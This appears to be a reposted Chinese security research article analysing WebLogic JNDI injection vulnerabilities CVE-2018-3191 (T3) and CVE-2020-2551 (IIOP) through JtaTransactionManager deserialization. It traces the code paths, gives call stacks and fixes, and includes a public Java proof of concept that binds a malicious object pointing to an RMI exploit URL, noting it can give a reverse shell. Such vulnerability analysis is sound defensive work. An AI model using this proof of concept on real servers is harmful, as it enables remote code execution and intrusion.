点击蓝字 / 关注我们
前言
接着前面的分析，这里主要是两个由JtaTransactionManager类的readObject方法调用过程中而造成的JNDI注入，其中第一个(CVE-2018-3191)是使用T3进行发送序列化数据，而第二个(CVE-2020-2551)这个经典的漏洞是通过IIOP来进行序列化数据的传递的
环境搭建
同样可以使用之前的环境搭建
JNDI Injection
CVE-2018-3191
原理
主要是在com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject方法中，在反序列化调用过程中将会触发一个JNDI注入漏洞
分析
我们跟进一下关键类的readObject方法
首先创建了一个JndiTemplate类赋值给了jndiTemplate属性，之后调用了initUserTransactionAndTransactionManager方法，跟进看看逻辑
在这里如果userTransaction属性值为空，将会调用lookupUserTransaction进行lookup查询
所以现在我们的目标就是使得其属性值为空，我们来看看他的构造方法
存在有多个重载方法，只有无参构造方法中才没有对该属性进行赋值，所以我们在构造恶意对象的时候使用无参构造方法就行了
在调用lookupUserTransaction方法的时候传入的是userTransactionName属性值
对于该属性的赋值，该类存在有一个方法为setUserTransactionName
我们看看lookupUserTransaction方法的调用过程
这里是对传入的userTransactionName值进行了lookup查询
这里调用了Context#lookup触发了JNDI查询
给个调用栈
lookup:127, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)CVE-2020-2551
原理
这个CVE主要是在IIOP协议上面做出的文章，在之前的Weblogic版本中，IIOP协议是默认开放的，且在JtaTransactionManager类中也没有进行过滤，IIOP协议的利用过程和RMI / LDAP协议的利用很像，相应的，在RMI攻击造成的反序列化问题，这里的IIOP协议同样具有
分析
简单贴一下概念性的东西
RMI: RMI英文全称为Remote Method Invocation，字面的意思就是远程方法调用，其实本质上是RPC服务的JAVA实现，底层实现是JRMP协议，TCP/IP作为传输层。通过RMI可以方便调用远程对象就像在本地调用一样方便。使用的主要场景是分布式系统。
CORBA: Common Object Request Broker Architecture（公共对象请求代理体系结构）是由OMG(Object Management Group)组织制定的一种标准分布式对象结构。使用平台无关的语言IDL（interface definition language）描述连接到远程对象的接口，然后将其映射到制定的语言实现。
IIOP: CORBA对象之间交流的协议，传输层为TCP/IP。它提供了CORBA客户端和服务端之间通信的标准。
对于Weblogic来说就是一种RMI_IIOP的架构
网上公开的POC为
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1";
String port = "7001";
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
context.bind("hello", remote);
}我们简单分析一下其中的执行逻辑
首先是通过设置了java.naming.factory.initial / java.naming.provider.url两个变量
之后通过创建一个InitialContext方法从给定的url中获取了Context对象，我们具体跟进一下这个步骤
这个InitialContext方法就是用来从给定的环境中获取特定的context对象
可以一路跟进到public static Context getInitialContext(Hashtable env)方法的调用中
首先是从我们传入的Hashtable对象中获取key为Context.INITIAL_CONTEXT_FACTORY的值，即是java.naming.factory.initial
获取到了weblogic.jndi.WLInitialContextFactory这个类名
之后调用了loadClass来获取这个类并实例化
之后可以一路追踪到iiopEnvironmentFactory#getInitialContext方法中
调用了InitialContextFacotryImpl.getInitialContext方法来获取远程Context对象
在第二个传参中取出了我们设置的第二个变量java.naming.provider.url
首先判断是不是IOR开头的url，我们这里使用的IIOP进入了else语句
通过ORB的实现类的getORBReference方法来获取远程的Reference对象
在获取了这个Context对象之后，执行其bind等方法类似于RMI的利用，将会触发反序列化的调用
我们来看看具体点的流程
weblogic在接收到iiop请求之后，进行处理的位置是在weblogic.rmi.internal.wls.WLSExecuteRequest#run类中
在这里通过调用ref属性的handleRequest方法进行请求的处理
此时的ref属性是一个CorbaServerRef类对象，所以该请求的具体处理时在weblogic.corba.idl.CorbaServerRef#handleRequest方法中
但是该类是没有该方法的，所以主要时在其父类BasicServerRef#handleRequest方法进行处理
具体为
前面都是没有啥意义的逻辑，主要是在run方法的调用
调用var2.invoke方法，其中的var2就是在这个方法中传入的InvokeHandler对象，也即是ClusterableServerRef类对象
看看他的invoke方法
其中传入的参数分别是我们POC中调用的bind方法对应的bind_any方法，输入流和输出流
在该方法中， 第一个if语句中判断了该次请求是否是IIOP协议封装的请求
如果满足这个条件，调用的是getReplicaInfo方法进行信息的获取
且在后面通过提取获取到的var5，通过调用setReplicaInfo来处理回复包
最重要的是在后面的invoker.invoke方法中，将var1 / var2和处理过后的var3后进行了传入，这里的invoker属性是weblogic.corba.idl.CorbaServerRef类对象
在该方法中，在该类的objectMethods属性中，获取到我们想要的方法名对应的flags
但是没有我们想要的bind_any方法，所以var5得到的值为5
所以调用到了this.delegate._invoke方法中来
在该类中是不存在_invoke方法的，我们追踪到其父类weblogic.corba.cos.naming._NamingContextAnyImplBase中来
在该方法中，首先通过从_methods属性中获取我们想要调用的方法对应的flags
这次在这个属性中是存在bind_any这个key值的
可以返回的flags为0，从这里我们也可以看出存在有unbind / rebind / list等在RMI攻击中用到的方式
言归正传
在之后进行switch语句中，进入了case 0子句
在其中调用了输入流的read_any方法，即是IIOPInputStream#read_any方法中
可以一直跟进到weblogic.corba.idl.AnyImpl#read_value_internal方法中
这一部分的调用链为
在该方法中是通过获取对应的值来进入不同的case语句
此时的_value值为29，所以，进入的是case 30中的子句
调用了weblogic.iiop.IIOPInputStream#read_value方法进行从输入流中获取值(也就是反序列化的过程)
在其中对序列化数据进行处理的过程中调用了ValueHandlerImpl#readValue方法
这里的var1对象就是我们在POC中调用bind方法绑定的类，即是JtaTransactionManager对象
所以，这里在readValue方法中，进入的else语句调用readValueData进行数据的处理
调用了readValueData方法
调用了我们ObjectStreamClass对象的readObject方法
进而调用了com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject方法
之后就是在上个CVE中同样的触发JNDI注入的逻辑了
调用initUserTransactionAndTransactionManager方法
调用lookupUserTransaction方法
在这里存在有JNDI注入的点
其中该方法中的传参，也就是我们在POC中调用setUserTransactionName设置的userTransactionName属性值
这里并没有任何的过滤，所以能够造成注入
完整的调用栈
lookupUserTransaction:562, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
readObject:315, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:1428, IIOPInputStream (weblogic.iiop)
read_value:1278, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1033, IIOPInputStream (weblogic.iiop)
read_any:1026, IIOPInputStream (weblogic.iiop)
_invoke:58, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:231, ClusterableServerRef (weblogic.rmi.cluster)
run:527, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:523, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:311, ExecuteThread (weblogic.work)
run:263, ExecuteThread (weblogic.work)能够反弹shell
修复
-
1. 直接关闭默认开启的IIOP协议功能
-
2. 官方补丁中主要是通过将
JtaTransactionManager类的父类AbstractPlatformTransactionManager添加进入了黑名单中，递归查询的深度为100
Ref
https://www.r4v3zn.com/posts/b64d9185/
https://www.anquanke.com/post/id/197605
https://github.com/QAX-A-Team/WeblogicEnvironment
跳跳糖是一个安全社区，旨在为安全人员提供一个能让思维跳跃起来的交流平台。
原文始发于微信公众号（跳跳糖社区）：Weblogic Analysis Attacked by JNDI injection From CVE(part 4)
